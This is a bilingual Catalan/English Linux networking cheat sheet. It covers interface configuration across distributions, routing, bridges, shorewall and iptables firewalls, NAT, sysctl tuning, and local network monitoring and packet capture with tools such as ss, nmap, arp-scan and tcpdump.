ip -s linknetstat -i
multicast members ip maddrnetstat -gopen ports
ss -tulpn
ss --tcp --udp --listen --processes --numericnetstat -tulpnnginx connections
ss -tupn | grep nginxnetstat -tupn | grep nginx
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
ip [ OPTIONS ] OBJECT [ COMMAND [ ARGUMENTS ]]-
OPTIONS OBJECT (can be abbreviated as the first letter[s]) / COMMAND COMMAND ARGUMENTS - -V[ersion]
- -s[tatistics]
- -d[etails]
- -r[esolve]
- -h[uman-readable]
- -iec
- -j[son]
- -p[retty]
- -f[amily] { inet | inet6 | mpls | bridge | link }
- -4 (-family inet)
- -6 (-family inet)
- -I
- -D
- -M
- -B
- -0 (-family link)
- -l[oops] { maximum-addr-flush-attempts }
- -br[ief]
- -o[neline]
- -t[imestamp]
- -ts[hort]
- -b[atch] [filename]
- -rc[vbuf] [size]
- -n[etns] name
- -N[umeric]
- -a[ll]
- -c[olor]
link(physical or logical network device)list(default)
add name <name> type <type>
set <interface> {up,down,...}show- delete
address(protocol (IPv4 or IPv6) address on a device)list(default)
add(can add a secondary address to the same interface)deleteshowflush
addrlabel()route(routing table entry)addchangereplacedeleteshowflushget
rule(rule in routing policy database)addshow
neighbour(ARP or NDISC cache entry)addchangereplacedeleteshowflush
ntabletunnel(tunnel over IP)addshow
tuntapmaddress(multicast address)mroute(multicast routing cache entry)mrulemonitor, rtmon(monitoring the state of devices, addresses and routes continuously)xfrmnetnsl2tpfoumacsectcp_metricstokennetconfilavrfsrnexthopmptcp
show,list(default)adddelete- ...
- types:
- flags
- parameters
- default parameter for ip list: dev
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
-
- ss
- list
of open ports
ss -tulpn
- HTTPS connections
ss | grep https
- list
of open ports
- Netfilter (wp)
- ...
- components
- iptables
- ip6tables
- ebtables
- arptables
- ipset
- nftables
- Network interfaces
- Flux de paquets de xarxa en
Linux / Network packet flow in Linux
- Packet flow in Netfilter and General Networking (wp)
- iptables chains
-
ingress
eth0
Netfilter
egress
eth0
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Nom / Name
-
example set stored in get
router device list arp arp-scan nmap nslookup dig avahi nmblookup MAC address
"MAC address" arparp-scan -lnmap -sP 192.168.1.0/24
MAC manufacturer (OUI)
"Manufacturer"
arp-scan -lnmap -sP 192.168.1.0/24
IP address 192.168.1.100
arp-scan -lnmap -sP 192.168.1.0/24
hostname myhostname sudo hostnamectl set-hostname myhostname/etc/hostname
myhostname
DNS myhost.mydomain
- /etc/hosts
- DNS server
nslookup myname- nslookup a.b.c.d
dig mynamedig -x a.b.c.d
DHCP hostname mydhcphostname
/etc/sysconfig/network-scripts/ifcfg-...
DHCP_HOSTNAME=mydhcphostname
"Device name"
Zeroconf (Avahi, Bonjour) myzeroconfhostname.local
/etc/avahi/avahi-daemon.conf
[server]
host-name=myzeroconfhostname
domain-name=local
avahi-browse -a -r -tavahi-discover-standaloneavahi-discover
NetBios (MSWindows)
nmblookup mywindowsnamenmblookup -A a.b.c.d
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
-
- Drivers
-
configuration
binary
Linux distribution
general config
per-device config
low level config
main
internally calls
example
config file
config options
config file
config options (man ifcfg)
file
options
manual IP address
DHCP
NetworkManager:
nm-ifup,
nm-ifdown
Mageia
DEPRECATED
ifup, ifdown
ifup-eth - ip
- (ifconfig)
- ifup eth0
- ifup enp0s3
- ifup --verbose --all
Mageia >=6
Mandriva
RedHat
CentOS
Fedora
HOSTNAME=pctoto
NETWORKING=yes
CRDA_DOMAIN=ES
GATEWAYDEV=eth1
/etc/sysconfig/network-scripts/ifcfg-eth0[:1]
DEVICE=eth0
IPADDR=192.168.0.15
GATEWAY=192.168.0.1
NETMASK=255.255.255.0
MTU=1200
IPV6_MTU="1280"
...
DEVICE=enp1s0f1
BOOTPROTO=dhcp
NETMASK=255.255.255.0
ONBOOT=yes
METRIC=10
DHCP_HOSTNAME=myname
/etc/sysctl.conf
(speedguide)
Mageia 5
RedHat Enterprise
CentOS 7
hostnamectl set-hostname my_hostname
- /etc/sysconfig/network-scripts/ifcfg-enp0s3
- /etc/sysconfig/network-scripts/ifcfg-eth0
TYPE=Ethernet
NAME=eth0
ONBOOT=yes
BOOTPROTO=none
IPADDR0=10.0.0.31
PREFIX0=24
GATEWAY0=10.0.0.1
DNS1=10.0.0.1
USERCTL=no
TYPE=Ethernet
NAME=eth1
ONBOOT=yes
BOOTPROTO=dhcp USERCTL=no
Mageia 3
/etc/hostname
pctoto
Debian (>=8) Raspberry Pi OS
- /etc/dhcpcd.conf
- /etc/wpa_supplicant/wpa_supplicant.conf
Static IP Addresses
# Example static IP configuration:
interface eth0
static ip_address=192.168.0.10/24
static ip6_address=fd51:42f8:caae:d92e::ff/64
static routers=192.168.0.1
static domain_name_servers=192.168.0.1 8.8.8.8 fd51:42f8:caae:d92e::1# It is possible to fall back to a static IP if DHCP fails:
# define static profile
profile static_eth0
static ip_address=192.168.1.23/24
static routers=192.168.1.1
static domain_name_servers=192.168.1.1
# fallback to static profile on eth0
interface eth0
fallback static_eth0
Ubuntu Debian (<=7) - /etc/hostname
- set it using:
hostname set-hostname my_hostname
- /etc/network/interfaces
(*)
- ? /etc/network/interfaces.d/
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.0.15
network 192.168.0.0
gateway 192.168.0.1
netmask 255.255.255.0
mtu 1492
auto eth2
iface eth2 inet6 static
pre-up modprobe ipv6
address 2607:f0d0:2001:000a:0000:0000:0000:0002
netmask 64
gateway 2607:f0d0:2001:000a:0000:0000:0000:0001
auto br0
iface br0 inet static
address 192.168.0.10
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
gateway 192.168.0.1
bridge_ports eth0
bridge_fd 9
bridge_hello 2
bridge_maxage 12
bridge_stp off
auto eth1
iface eth1 inet dhcp
...
...
ifconfig (classical)
ip (new) (iproute2)
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Exemples / Examples
- Case 1:
-
WiFi to Android device (tethering), connected to Internet
ethernet to switch (TP-Link) (not connected to internet)
PC (Mageia)
/etc/sysconfig/network-scripts/ifcfg-wlp...
DEVICE=wlp2s0
BOOTPROTO=dhcp
ONBOOT=yes
METRIC=5
...
/etc/sysconfig/network-scripts/ifcfg-enp... DEVICE=enp1s0f1
BOOTPROTO=dhcp
NETMASK=255.255.255.0
ONBOOT=yes
METRIC=10
Raspberry Pi
(Debian)
WiFi setup:
sudo iwlist wlan0 scan- /etc/wpa_supplicant/wpa_supplicant.conf
...
network={
ssid="AndroidAP"
psk="..."
}
wpa_cli -i wlan0 reconfiguresudo ip route listsudo ip route replace default via 192.168.43.1 dev wlan0 metric 101sudo ip route del default via 192.168.43.1 dev wlan0 metric 303
/etc/network/interfaces
z21
-
192.168.0.111
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Notes:
- when ifup is called, a default route (to Internet) is added. Packets to Internet will take the interface with the lowest METRIC value.
- per a esborrar una ruta per defecte (per exemple
la que s'ha creat quan hem creat connexió cap a z21,
que no té sortida cap a Internet) / to delete one
default route:
ip route del default dev wlp46s0ip route del default dev enp45s0
- Change the default route to wlp0s20f3 (WiFi)
- /etc/sysconfig/network
GATEWAYDEV=wlp0s20f3
sudo systemctl restart network.service
- /etc/sysconfig/network
route -nKernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.43.1 0.0.0.0 UG 5 0 0 wlp2s0
0.0.0.0 192.168.0.1 0.0.0.0 UG 10 0 0 enp1s0f1
169.254.0.0 0.0.0.0 255.255.0.0 U 5 0 0 wlp2s0
169.254.0.0 0.0.0.0 255.255.0.0 U 10 0 0 enp1s0f1
192.168.0.0 0.0.0.0 255.255.255.0 U 10 0 0 enp1s0f1
192.168.43.0 0.0.0.0 255.255.255.0 U 5 0 0 wlp2s0
-
- Case 1:
- Service
type
OS
command
info
- Mageia
- CentOS
systemctl start networksystemctl stop networksystemctl restart networksystemctl status network
same result as reboot: only interfaces marked as ONBOOT=truewill be active
- old Mageia
- old CentOS
service network startservice network stopservice network restartservice network status
- Debian
- Ubuntu
- ...
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Options
- ip-sysctl
- dir
- /proc/sys/
- configuration
- /etc/sysctl.conf
- control
- list
sysctl -a
- write
sysctl -w net.ipv4.ip_forward=1
- list
- General
- /proc/sys/net/ipv4/ip_forward
- Per NIC
- Mageia
- /proc/sys/net/ipv4/conf/enp4s0f2/
- Ubuntu
- /proc/sys/net/ipv4/conf/eth0/
- ...
- Mageia
- Zeroconf
- Eines de gestió / Management tools
- NetworkManager
(gui)
- /etc/NetworkManager/
- enable
- Mageia
- Switching
to networkmanager
echo "AUTOSTART=FALSE" > ~/.net_appletsukillall net_appleturpmi networkmanager networkmanager-appleturpmi plasma-applet-nmurpmi plasma-applet-nm-openvpnsystemctl enable --now NetworkManager.servicesystemctl restart NetworkManager.servicesystemctl mask network.service; systemctl mask network-up
- Switching
to networkmanager
- Mageia
- disable
- Ubuntu
sudo stop network-manager- permanently (Upstart)
echo "manual" > /etc/init/network-manager.override
- CentOS
sudo systemctl stop NetworkManager- permanently
sudo systemctl disable NetworkManager
- Ubuntu
- CLI
systemctl enable NetwokManager.service
/usr/libexec/nm-ifup wlp46s0/usr/libexec/nm-ifdown wlp46s0
- Ubuntu
- Network
Configuration (Ubuntu server)
- ifconfig, ethtool, lshw, brctl
- Network
Configuration (Ubuntu server)
- Change the hostname:
- temporary:
hostname <new_hostname>
- permanently:
- /etc/hostname (Mageia 3, ...)
- pctoto
- /etc/sysconfig/network:
- HOSTNAME=<new_hostname>
- /etc/hostname (Mageia 3, ...)
- temporary:
- ifconfig
- DEPRECATED. Use iproute2 tools: ip
- List interfaces
- only active (Ubuntu)
ifconfig
- active and non active
ifconfig -a
- only active (Ubuntu)
- Assign a static IP address and bring
up a device (automatically adds a specific
route; but default route is not added nor modified):
ifconfig eth0 192.168.0.23 netmask 255.255.255.0up- optionally (this is automatically added
when using ipup):
- add a default route to the router, to
have access to Internet
route add default gw 192.168.0.1 dev eth0
- add a dns server
echo "nameserver 192.168.0.1" >> /etc/resolv.conf
- add a default route to the router, to
have access to Internet
- Assign a static IP address:
ifconfig eth0 192.168.0.100 netmask 255.255.255.0
- Bring the device up:
ifconfig eth0 up
- Bring the device down:
ifconfig eth0 down
- Assign a dynamic IP address:
- ...
- Add a second
IP address to the same NIC:
- temporary (*)
(it adds the corresponding route):
ip address add 10.0.0.2/24 dev enp4s0f2
ifconfig eth0:1 inet <second_ip_address> [broadcast 172.16.11.255 netmask 255.255.255.0]
- permanently:
- Mageia / Mandriva / Fedora / RedHat /
CentOS:
- cd /etc/sysconfig/network-scripts
- cp ifcfg-eth0 ifcfg-eth0:1
- edit ifcfg-eth0:1:
DEVICE=eth0:1IPADDR=<second_ip_address>
service network restart
- Debian / Ubuntu
- ...
- Mageia / Mandriva / Fedora / RedHat /
CentOS:
- temporary (*)
(it adds the corresponding route):
- Promiscuous mode
- enable
ifconfig eth0 promisc
- disable
ifconfig eth0 -promisc
- enable
- iwconfig
(for wireless interfaces)
- iwgetid
- iwgetid -r wlp2s0
- iwlist
- iwgetid
- ip
- ipcalc
- route
- DEPRECATED: Use iproute2 tools: ip
- Introduction to Linux IP Routing Fundamentals (Part 1)
- List routes:
routeroutelnetstat -r- numerical IP addresses:
route -nnetstat -rn
-
add
(automatically added when interface is activated:ifup wlp2s0)
remove
(automatically removed when interface is deactivated:ifdown wlp2s0)
list
Destination
Gateway
Genmask
Flags
Iface
-net
gw
netmask
dev
to a local network
route add -net 192.168.0.0 netmask 255.255.255.0 dev enp1s0f1
192.168.0.00.0.0.0
*
255.255.255.0U
enp1s0f1route add -net 192.168.43.0 netmask 255.255.255.0 dev wlp2s0
192.168.43.00.0.0.0
*
255.255.255.0U
wlp2s0to a gateway
(destination is outside listed networks)
route add default gw 192.168.0.1 enp1s0f1route del default enp1s0f1
route add default gw 192.168.43.1wlp2s0
default
0.0.0.0
192.168.43.10.0.0.0
UG
wlp2s0Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Add a new
route (*):
- temporarily:
route add 192.168.0.1 eth0route add -net 192.168.0.0 netmask 255.255.255.0 dev eth2route add -net 172.16.0.0 netmask 255.255.0.0 dev eth2route add -net 224.0.0.0/4 eth0- default gateway
route add default gw 10.0.0.1 eth0
- permanently (*):
- /etc/sysconfig/network-scripts/route-eth0
ADDRESS0=224.0.0.0 NETMASK0=240.0.0.0
- /etc/sysconfig/network-scripts/route-eth0
- temporarily:
- Delete a
route:
route del default eth1route del -net 192.168.0.0/24 dev eth0
- Change the default
route to eth1:
- /etc/sysconfig/network:
GATEWAYDEV=eth1
- /etc/sysconfig/network:
- Example:
- Network topology
- internal WiFi interface (
wlp2s0) connected to Sony Xperia Z5 (tethering) - usb WiFi dongle (wlp0s20f0u1) connected to non-internet TP-Link router
- internal ethernet (enp1s0f1) connected to non-internet TP-Link router
- internal WiFi interface (
- Steps
- Start network (will make all
interfaces available, and will be visible with
ifconfig) (config in /etc/sysconfig/network)
systemctl start network.service
- Configure interfaces (files can also
be created from mcc:
«Estableix una nova interfície de xarxa», and
deleted with «Elimina una connexió»)
- /etc/sysconfig/network-scripts/ifcfg-wlp2s0
(from BOOTPROTO: copied from
/etc/sysconfig/network-scripts/wireless.d/Xperia
Z5_7225) (WIRELESS_ESSID is not used, but
result from
iwgetid -r wlp2s0)DEVICE=wlp2s0
BOOTPROTO=dhcp
ONBOOT=yes
METRIC=3
MII_NOT_SUPPORTED=no
USERCTL=no
RESOLV_MODS=no
WIRELESS_MODE=Managed
WIRELESS_ESSID="Xperia Z5_7225"
WIRELESS_ENC_KEY=s:xxxxxxxx
WIRELESS_WPA_DRIVER=wext
WIRELESS_WPA_REASSOCIATE=no
IPV6INIT=no
IPV6TO4INIT=no
ACCOUNTING=no
DHCP_CLIENT=dhclient
NEEDHOSTNAME=no
PEERDNS=yes
PEERYP=yes
PEERNTPD=no
- /etc/sysconfig/network-scripts/ifcfg-wlp0s20f0u1 (from
BOOTPROTO: copied from
/etc/sysconfig/network-scripts/wireless.d/TP-LINK_F3B398)
DEVICE=wlp0s20f0u1
BOOTPROTO=dhcp
ONBOOT=yes
METRIC=35
MII_NOT_SUPPORTED=no
USERCTL=no
RESOLV_MODS=no
WIRELESS_MODE=Managed
WIRELESS_ESSID=TP-LINK_F3B398
WIRELESS_ENC_KEY=s:xxxxxxxx
WIRELESS_WPA_DRIVER=wext
WIRELESS_WPA_REASSOCIATE=no
IPV6INIT=no
IPV6TO4INIT=no
ACCOUNTING=no
DHCP_CLIENT=dhclient
NEEDHOSTNAME=no
PEERDNS=yes
PEERYP=yes
PEERNTPD=no
- /etc/sysconfig/network-scripts/ifcfg-enp1s0f1
DEVICE=enp1s0f1
BOOTPROTO=dhcp
NETMASK=255.255.255.0
ONBOOT=yes
METRIC=10
MII_NOT_SUPPORTED=no
USERCTL=no
RESOLV_MODS=no
LINK_DETECTION_DELAY=6
IPV6INIT=no
IPV6TO4INIT=no
ACCOUNTING=no
DHCP_CLIENT=dhclient
NEEDHOSTNAME=no
PEERDNS=yes
PEERYP=yes
PEERNTPD=no
- /etc/sysconfig/network-scripts/ifcfg-wlp2s0
(from BOOTPROTO: copied from
/etc/sysconfig/network-scripts/wireless.d/Xperia
Z5_7225) (WIRELESS_ESSID is not used, but
result from
- Bring up interfaces (can also be done
from mcc:
«Connecta»)
ifup enp1s0f1- if you experience problems:
- check GATEWAYDEV in /etc/sysconfig/network
- try switching off tethering on mobile phone (!?)
- if you experience problems:
ifup wlp2s0ifup wlp0s20f0u1
- Remove
default gateways without connection to
internet (default gateway in wlp2s0
will have precedence because its metric (3) is
lower than metric in enp1s0f1 (5) )
route del default wlp0s20f0u1route del default enp1s0f1
- Start network (will make all
interfaces available, and will be visible with
ifconfig) (config in /etc/sysconfig/network)
- Network topology
- Ponts
/ Bridges
- debian-bridge-es
- Troubleshooting Ethernet bridging on Linux
- Building bridges, and pseudo-bridges with Proxy ARP (Linux Advanced Routing & Traffic Control HOWTO)
- Ethernet
bridge
+ netfilter howto
- brctl, iptables
- Network bridge (ArchLinux)
- Programari / Software
- ip, bridge (iproute2)
- brctl (DEPRECATED: use ip (iproute2)
instead)
- Instal·lació / Installation
- Mageia
- urpmi bridge-utils
- CentOS
- CentOS 8: deprecated
- Mageia
- Creation of a bridge
brctl addbr br0brctl stp br0 onbrctl addif br0 eth0; brctl addif br0 eth1ifdown eth0 (ifconfig eth0 down); ifdown eth1 (ifconfig eth1 down)ifconfig eth0 0.0.0.0 [promisc] up; ifconfig eth1 0.0.0.0 [promisc] upifconfig br0 10.0.1.12 up[echo "1" > /proc/sys/net/ipv4/conf/eth0/proxy_arp; echo "1" > /proc/sys/net/ipv4/conf/eth1/proxy_arp][echo "1" > /proc/sys/net/ipv4/conf/eth0/forwarding; echo "1" > /proc/sys/net/ipv4/conf/eth1/forwarding]echo "1" > /proc/sys/net/ipv4/ip_forward
- Destruction of a bridge
brctl delif br0 eth0; brctl delif br0 eth1ifconfig br0 downbrctl delbr br0
- Permanently
- /etc/network/interfaces
auto br0
...
ifup br0
- /etc/network/interfaces
- Other commands
brctl showstp br0brctl showmacs br0
- Instal·lació / Installation
- Linksys WRT54GL in bridge mode
- Ubuntu
sudo apt-get install bridge-utils
- Tallafocs
/
Firewalls
- shorewall
(Mageia)
- shorewall-rules
- allow UDP multicast
on port 1234:
- /etc/shorewall/rules.drakx
ACCEPT net fw udp 1234
- /etc/shorewall/shorewall.conf
MULTICAST=Yes
service shorewall restart
- /etc/shorewall/rules.drakx
- accessos denegats / detect the accessed
ports:
/var/log/messages journalctl -f - accessed from Mageia
drakfirewall
- mcc:
Security / Setup a personal firewall /
-
ports
/etc/shorewall/rules.drakx
#ACTION SOURCE DEST PROTO DPORT SPORT ORIGDESTServidor Web ACCEPT net fw tcp 80,443 -Servidor de noms de domini (DNS) ACCEPT net fw udp 53 -
ACCEPT net fw tcp 53 -Servidor SSH ACCEPT net fw tcp 22 -Servidor FTP ACCEPT net fw tcp 20,21 -Servidor de correu ACCEPT net fw tcp 25,465,587 -Servidor POP i IMAP ACCEPT net fw tcp 109,110,143,993,995 -Servidor CUPS ACCEPT net fw udp 631 -
ACCEPT net fw tcp 631 -Servidor MySQL ACCEPT net fw udp 3306 -
ACCEPT net fw tcp 3306 -Petició echo (ping) ACCEPT net fw icmp 8 -Autodescobriment de serveis de xarxa (zeroconf i slp) ACCEPT net fw udp 5353,427 -Autodescobriment d'impressores / escàners de xarxa ACCEPT net fw udp 8612 -BitTorrent ACCEPT net fw udp 6881:6999 -
ACCEPT net fw tcp 6881:6999 -KDEConnect ACCEPT net fw udp 1714:1764 -
ACCEPT net fw tcp 1714:1764 -Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Advanced / Other ports
- 123/udp...
- will modify
/etc/shorewall/rules.drakxACCEPT net fw udp 123 -
- will modify
- 123/udp...
-
- mcc:
Security / Setup a personal firewall /
- ufw
(Ubuntu)
sudo ufw status
- iptables
(part of Netfilter
package) (iptables
project) (faq)
(tutorial) (wikipedia)
- info:
- iptables project
- Iptables tutorial
- iptables (wp)
- Netfilter (wp)
- Netfilter FAQ
- multicast
- Tutorial
- Logs
- Exemples / Examples:
- 13. rc.firewall file
- 14. Example scripts
- Ethernet bridge + netfilter howto
- HOWTO: Linux NAT in four steps using iptables
- Setting up gateway using iptables and route on Linux
- in table (-t) filter, insert (I) in chain
FORWARD, at the first (1) position, the rule "-p
udp" with target (-j) ACCEPT
iptables [-t filter] -I FORWARD [1] -p udp -j ACCEPT
list all rules in the table filter and all the chains (or only on the specified one)iptables -t filter -n -v -L [chain]
- compartició de la connexió a Internet / share
Internet connection
- Internet Connection Sharing using iptables
- passos / steps
- Internet is on eth0 (192.168.1.10), LAN is on eth1 (192.168.0.20)
- /etc/sysctl.conf
net.ipv4.ip_forward = 1
- alternative:
- Why can
not change the file
/proc/sys/net/ipv4/ip_forward?
sudo -i
sysctl -asysctl -w ip_forward=1sysctl -p
- Why can
not change the file
/proc/sys/net/ipv4/ip_forward?
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEservice iptables save
- VPN PPTP
- chains:
- PREROUTING: packet reception
- INPUT: all packets that are destined for our local host
- FORWARD: all non-locally generated packets that are not destined for our local host
- OUTPUT: all locally generated packets
- POSTROUTING: packet send
- rules:
- rule #1: -p ... -s ... -j ...
- rule #2: -p ... -s ... -j ...
- ...
- (policy for built-in chains / return for user-defined-chains)
- commands:
- iptables [-t
table] command [rule]-
command - -A, --append
- -D, --delete
- -R, --replace
- -I [n], --insert: insert at nth level (default n=1)
- -L, --list
- -F, --flush
- -Z, --zero
- -N, --new-chain
- -X, --delete-chain
- -E, --rename-chain
- -P, --policy
- options
- -v, --verbose
- -x, --exact
- -n, --numeric
- --line-numbers
- -c, --set-counters
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
-
- iptables-save
- /etc/sysconfig/iptables
- iptables-restore
- iptables [-t
- Traversing
of
tables and chains
table
chain
(ruleset)
raw
mangle
nat
filter
PREROUTING
x
x
x
INPUT
FORWARD
x
x
OUTPUT
x
x
x
x
POSTROUTING
x
x
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- Summary table
-
table table available
in chain:rule match
target jump
-j ... -j user-defined-chain raw PREROUTING - generic
- -p, --protocol
- -s, --src, --source
- -d, --dst, --destination
- -i, --in-interface
- -o, --out-interface
- -f, --fragment
- implicit
- explicit
- addrtype
- -m addrtype
- --src-type
- -dst-type
- -m addrtype
- ...
- owner match
- ...
- state
- -m state
- --state
- -m state
- addrtype
OUTPUT
(user-defined:
iptables -N my_chain)
mangle PREROUTING
INPUT
FORWARD
OUTPUT
POSTROUTING - CLASSIFY
- --set-class
(user-defined)
nat PREROUTING
OUTPUT
POSTROUTING - SNAT
(for static ip addresses)
- --to-source
- MASQUERADE
(for dynamic ip addresses)
- [--to-ports]
(user-defined)
filter INPUT
FORWARD
OUTPUT
(user-defined)
- CLUSTERIPTARGET
- CONNMARK
- CONNSECMARK
- DSCP
- ECN
- MIRROR
- NETMAP
- --to
- QUEUE (link to NFQUEUE 0)
- NFQUEUE
(queue packets to user-land
applications)
- --queue-num
- RETURN
- SAME
(similar to SNAT)
- --to
- --no-dst
- TCPMSS
- ULOG
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- generic
- info:
- shorewall
(Mageia)
- NetworkManager
(gui)
- Afinament / Tuning
- Info
- Kernel parameters
- How To: Network / TCP / UDP Tuning
- Sysctl tuning for optimized system performance
- TCP Tunnig Guide
sysctl [-w]-
units
default
description
usage
network general
net.core.rmem_default
212992
This sets the default OS receive buffer size for all types of connections.
gstreamer receiving rtp
net.core.rmem_max
212992
This sets the max OS receive buffer size for all types of connections.
ffmpeg buffer when receiving rtp (maximum)
net.core.wmem_default
212992
This sets the default OS send buffer size for all types of connections.
net.core.wmem_max
212992
This sets the max OS send buffer size for all types of connections.
IPV4 UDP
net.ipv4.udp_mempages (4096 bytes)
auto-tuned by kernel:
43620 58162 87240
net.ipv4.udp_rmem_min
4096
net.ipv4.udp_wmem_min
4096
IPV4 TCP
net.ipv4.tcp_mem
pages (4096 bytes) auto-tuned by kernel:
42519 56694 85038
The tcp_mem variable defines how the TCP stack should behave when it comes to memory usage.
- The first value specified in the tcp_mem variable tells the kernel the low threshold. Below this point, the TCP stack will not bother to put any pressure on the memory usage by different TCP sockets.
- The second value tells the kernel at which point to start pressuring memory usage down.
- The final value tells the kernel how many memory pages it may use (maximum). If this value is reached, TCP streams and packets start getting dropped until it reaches a lower memory usage again. This value includes all TCP sockets currently in use.
net.ipv4.tcp_rmem
4096 87380 6291456
net.ipv4.tcp_wmem
4096 16384 4194304
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
-
- permanent changes accross reboots:
- /etc/sysctl.d/60-rtp.conf
# values needed by gst-launch when receiving big rtp packets
net.core.wmem_default = 851968
net.core.rmem_max = 851968
sudo sysctl -p
- /etc/sysctl.d/60-rtp.conf
- Monitoratge / Monitoring
- Info
- Afinament / Tuning
- Optimized Network Settings (netstat, dropwatch, ip, ethtool, ...) (RedHat)
- How to display network traffic in the terminal? (bmon, slurm, tcptrack, ...)
- UDP packet loss
- arp-scan
- llista dels elements en la xarxa local
arp-scan -l
arp-scan -l --interface=enp45s0- iftop
- iperf
- Instal·lació / Installation
- Mageia
urpmi iperf
- CentOS
sudo yum install ...
- Mageia
iperf3 -c 192.168.1.100
- Instal·lació / Installation
- iptraf
- ncurses interface
- Instal·lació / Installation
- Mageia
- urpmi iptraf-ng
- Mageia
- Ús / Usage
iptraf-ng
bmon- tgraf/bmon (github)
- dropwatch
- Compilació / Compilation
- Dependències / Dependencies
- Mageia
urpmi rpm-build binutils-devel kernel-devel libnl3-devel readline-devel
- Mageia
git clone https://github.com/pavel-odintsov/drop_watch.gitcd drop_watchmake
- Dependències / Dependencies
- Instal·lació / Installation
- Mageia
cd drop_watch/RPMS/x86_64sudo urpmi dropwatch-1.3-0.mga6.x86_64.rpm
- CentOS
sudo yum install dropwatch
- Mageia
- Ús / Usage:
dropwatch -l kas- start
- stop
- non-interactive
dropwatch -l kas <<<start 2>&1 >/tmp/dropwatch.log- tail -n 200 -f /tmp/dropwatch.log | grep udp_queue
- Aplicació / Application
- Monitor RTP
packet losses
xxx drops at udp_queue_rcv ...
- Monitor RTP
packet losses
- Compilació / Compilation
- netperf
- Instal·lació / Installation
- Ús / Usage
- netstat
- DEPRECATED. Use iproute2 tools: ip -s, ss, ip route
nmap- Install
- CentOS
yum install nmap
- CentOS
- gui (frontend)
- Install
- Mageia
urpmi nmap-frontend
- Mageia
- Usage
zenmapnmapfe
- Install
- MAC
address discovering (and open
ports) (Host
discovery)
nmap -sS 172.16.11.0/24-sL: only list-sP: only ping-sn: no port scan- to discover other computers in the subnet
-O: discover operating system- -PR: ARP ping
nmap -sn -PR 192.168.1.0/24(How to detect duplicate IP addresses)- MAC addresses (you need to be root)
# nmap -sn 192.168.1.100
- Install
- Captura / Capture
-
decode network interface
filters (combined with: and, or, ...)
list
use
protocol
source
destination
address
address
port
tcpdump [-n]
-D
-i any
- udp
- tcp
- ...
- src 1.2.3.4
- dst 234.1.2.3
- port 5004
tshark
-d udp.port==5004-5007,rtp
wireshark
Analyze -> Decode As...
Capture -> Options -> Input
- tcp
- udp
- ...
- ip.src==1.2.3.4
- eth.addr == 00:04:a3:8f:3c:98
- eth.addr[0:3] == 00:11:32
- ip.dst==234.1.2.3
- udp.port==5004
ip.addr==234.1.2.3
Aquesta taula continua cap a la dreta — desplaça-la o gira el mòbil.
- tcpdump
- Manpage
- Opcions / Options
- TCPDUMP - The easy tutorial
- commands must be run from root
- A tcpdump Tutorial and Primer with Examples
- display available interfaces
tcpdump -D
- live display
- ...
- capture to a file (
-w filename)- capture UDP packets (-n option is critical to
avoid "packets dropped by kernel")
tcpdump udp -n -w udp_packets.tcp
- capture UDP packets from loopback (even if
packets are sent to local numerical IP address.
e.g. 192.168.1.100)
tcpdump udp -i lo -n -w udp_packets.tcp
- display a capture:
tcpdump -r udp_packets.tcp
- open with Wireshark
- command line:
- wireshark udp_packets.tcp
- GUI
- Open: udp_packets.tcp
- command line:
- time in file name
-w /var/tmp/trace-%m-%d-%H-%M-%S-%s- ...
- chunk and rotation
- tcpdump – rotate capture files using -G, -W and -C
- Amend documentation about the use of the -C -G and -W switches. #722
- opcions / options
-C file_size_in_MB-G rotate_seconds-W number_of_files(file rotation)-Wnumber_of_files-C ...-W-G ...number_of_files-W-C ... -G ...number_of_files
- exemples / examples
- a new file every 10s (infinite number
of files):
tcpdump -w capture_%Y%m%dT%H:%M:%S.%s.pcap -G 10- capture_20191205T11:12:00.1575540720.pcap
- capture_20191205T11:12:20.1575540740.pcap
- capture_20191205T11:12:10.1575540730.pcap
- ...
- rewrite a single file every 10s
(infinite number of files):
tcpdump -w capture.pcap -G 10- capture.pcap
- a new file every 1MB (infinite number
of files):
tcpdump -w capture.pcap -C 1- -rw-r--r-- 1 root root 1000010 de des. 5 11:15 capture.pcap
- -rw-r--r-- 1 root root 1000070 de des. 5 11:15 capture.pcap1
- -rw-r--r-- 1 root root 1000036 de des. 5 11:15 capture.pcap2
- -rw-r--r-- 1 root root 49152 de des. 5 11:15 capture.pcap3
- ...
- generate only 2 files (no rotation),
every 10s, and quit (!):
tcpdump -w capture_%Y%m%dT%H:%M:%S.%s.pcap -W 2 -G 10- capture_20191205T11:31:32.1575541892.pcap
- capture_20191205T11:31:42.1575541902.pcap
- use only 2 files (rotation), each one
1MB (do not quit):
tcpdump -w capture.pcap -W 2 -C 1- capture.pcap0
- capture.pcap1
- a new file every 10s (infinite number
of files):
- capture UDP packets (-n option is critical to
avoid "packets dropped by kernel")
- split an existing file
- split into files of 10MB
tcpdump -r toto_big.pcap -C 10 -w toto_segment.pcap
- split into files of 10MB
- permet als usuaris normals fer captures / allow
regular users to capture:
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
- tcpreplay
- play from file and replace 172.16.1.100 by
192.168.2.200:
tcpreplay-edit -i eth1 --pnat=172.16.1.100/32:192.168.2.200/32 udp_packets.tcp
- to be visible from the same computer that is
playing the file:
- ...
- play from file and replace 172.16.1.100 by
192.168.2.200:
- dumpcap
-
- Anàlisi / Analysis
- Ethereal: a network protocol analyzer
- tshark
- Wireshark in text mode
- Filtres
- Instal·lació / Installation
- CentOS
sudo yum install wireshark
- Mageia
urpmi tshark
- Ubuntu
sudo apt-get install tshark
- CentOS
- Utilització / Usage
